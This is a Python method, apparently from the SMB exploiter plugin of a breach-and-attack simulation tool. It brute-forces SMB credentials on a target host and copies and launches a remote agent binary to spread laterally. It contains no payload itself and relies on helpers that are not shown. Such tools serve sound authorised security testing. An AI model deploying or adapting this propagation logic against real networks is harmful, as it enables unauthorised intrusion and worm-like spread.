def METHOD_NAME(
    self,
    *,
    host: TargetHost,
    servers: Sequence[str],
    current_depth: int,
    options: Dict[str, Any],
    interrupt: Event,
    **kwargs,
) -> ExploiterResult:
    # HTTP ports options are hack because they are needed in fingerprinters
    del_key(options, "http_ports")
    try:
        logger.debug(f"Parsing options: {pformat(options)}")
        smb_options = SMBOptions(**options)
    except Exception as err:
        msg = f"Failed to parse SMB options: {err}"
        logger.exception(msg)
        return ExploiterResult(error_message=msg)
    if not should_attempt_exploit(host):
        msg = f"Host {host.ip} has no open SMB ports"
        logger.debug(msg)
        return ExploiterResult(
            exploitation_success=False, propagation_success=False, error_message=msg
        )
    command_builder = partial(
        build_smb_command,
        self._agent_id,
        servers,
        current_depth,
        remote_agent_binary_destination_path=get_agent_dst_path(host),
        otp_provider=self._otp_provider,
    )
    smb_exploit_client_factory = SMBRemoteAccessClientFactory(
        host, smb_options, command_builder
    )
    brute_force_exploiter = BruteForceExploiter(
        self._plugin_name,
        self._agent_id,
        get_agent_dst_path(host),
        smb_exploit_client_factory,
        self._credentials_provider,
        self._agent_binary_repository,
        self._agent_event_publisher,
        {"smb-exploiter"},
    )
    try:
        logger.debug(f"Running SMB exploiter on host {host.ip}")
        return brute_force_exploiter.exploit_host(host, interrupt)
    except Exception as err:
        msg = f"An unexpected exception occurred while attempting to exploit host: {err}"
        logger.exception(msg)
        return ExploiterResult(error_message=msg)